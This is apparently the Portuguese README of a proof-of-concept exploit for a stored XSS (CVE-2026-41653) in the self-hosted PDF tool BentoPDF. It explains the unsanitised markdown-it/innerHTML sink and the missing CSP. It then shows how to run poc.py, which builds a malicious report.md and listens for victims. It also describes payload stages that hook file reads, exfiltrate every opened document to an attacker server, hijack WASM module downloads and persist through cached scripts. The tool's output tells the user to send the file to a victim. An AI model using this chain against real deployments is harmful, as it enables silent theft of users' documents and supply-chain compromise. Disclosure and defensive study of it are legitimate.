
Prova de conceito de exploit para CVE-2026-41653, um XSS armazenado no BentoPDF que permite exfiltração silenciosa de arquivos e sequestro da cadeia de suprimentos WASM.
Descoberto e reportado por: Astaruf
Artigo completo: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Aviso upstream: Aviso GHSA do alam00000/bentopdf
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF é uma caixa de ferramentas PDF auto-hospedada e executada no navegador (comprimir, mesclar, dividir, girar, converter, Markdown-para-PDF, etc.).
A ferramenta Markdown-para-PDF passa o Markdown fornecido pelo usuário através do markdown-it com html: true e injeta a saída renderizada diretamente no DOM via innerHTML sem nenhuma sanitização. Um atacante que entregue um arquivo .md malicioso consegue executar JavaScript arbitrário na origem do BentoPDF.
Como o BentoPDF é uma aplicação totalmente client-side, todas as ferramentas (Comprimir PDF, Mesclar PDF, Dividir PDF, etc.) carregam e processam arquivos diretamente no navegador da vítima. Um único XSS é, portanto, suficiente para exfiltrar silenciosamente todos os documentos que a vítima abrir em qualquer ferramenta durante a sessão.
Atacante envia report.md (contendo )
-> Vítima abre no Markdown-para-PDF
-> markdown-it renderiza HTML bruto (html: true)
-> preview.innerHTML = html (sem DOMPurify)
-> poc_payload.js carregado do servidor do atacante (sem CSP)
-> FileReader + <input type=file> interceptados em toda a aplicação
-> popup oculto re-injeta hooks a cada navegação entre ferramentas
-> todo arquivo que a vítima abre é exfiltrado silenciosamente
localStorage['bentopdf:wasm-providers'], redirecionando os downloads dos módulos WASM do PyMuPDF, Ghostscript e cpdf para um host controlado pelo atacante.window.opener e re-injeta os hooks de arquivos toda vez que a vítima navega para uma ferramenta diferente, mantendo o acesso durante toda a sessão.bentopdf-*, anexando um hook de exfiltração a todo arquivo /assets/*.js servido ao navegador além da sessão atual.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (linhas 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // tags HTML brutas passam pelo parser de markdown
breaks: false,
linkify: true,
typographer: true,
};
Tags como ``, <svg>, <details> e quaisquer atributos de manipuladores de eventos (onerror, onload, ontoggle) são encaminhadas ao DOM como estão.
innerHTML sem sanitização (CWE-116)src/js/utils/markdown-editor.ts (linhas 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // HTML controlado pelo atacante injetado no DOM
this.renderMermaidDiagrams();
}
Nenhuma biblioteca de sanitização é aplicada entre o markdown-it e o innerHTML. O navegador analisa a string injetada, encontra o manipulador de eventos inline e o executa imediatamente.
O nginx.conf é distribuído sem o cabeçalho Content-Security-Policy. O JavaScript injetado pode carregar livremente scripts externos, fazer requisições fetch() para qualquer host e abrir janelas popup. Uma CSP restritiva teria impedido o estágio de carregamento de scripts externos mesmo com o sink intacto.
# Inicie o servidor do atacante para exfiltração
python3 poc.py --lhost <SEU_IP> --lport 9999
# O poc.py irá:
# - gerar o payload poc_report.md no diretório atual
# - começar a escutar callbacks da vítima e arquivos exfiltrados
Envie poc_report.md para a vítima e peça para ela abri-lo em BentoPDF → Markdown-para-PDF. O payload é acionado no momento em que a pré-visualização é renderizada, e todos os arquivos que a vítima enviar no futuro são exfiltrados para o servidor do atacante.
| Opção | Padrão | Descrição |
|---|---|---|
--lhost | obrigatório | IP acessível pelo navegador da vítima |
--lport | 9999 | Porta de escuta |
--loot-dir | ./loot/ | Diretório onde os arquivos exfiltrados são salvos |
--log-file | nenhum | Anexa todos os eventos a um arquivo (códigos ANSI removidos) |
--no-color | desativado | Desativa cores ANSI na saída do terminal |
1. Servidor do atacante iniciado com --lhost e --lport. O poc_report.md malicioso é gerado automaticamente.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-para-PDF XSS Armazenado -> Exfiltração de Arquivos
PoC por Astaruf (https://nstsec.com)
========================================================================
Servidor de exfiltração: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Diretório de loot: /home/kali/loot
========================================================================
Arquivo .md malicioso pronto: /home/kali/poc_report.md
Envie-o para a vítima e peça para abri-lo na ferramenta Markdown-para-PDF.
O payload é acionado assim que a pré-visualização é renderizada.
========================================================================
Aguardando vítimas...
2. A vítima abre a ferramenta Markdown-para-PDF no BentoPDF.

3. A vítima carrega poc_report.md. A pré-visualização é renderizada, `` falha ao carregar, onerror é acionado. poc_payload.js é buscado do servidor do atacante sem CSP para bloqueá-lo.

4. O payload executa seus quatro estágios: sequestro do provedor WASM via localStorage, monitor de popup iniciado, hooks de FileReader e input de arquivo instalados na página atual.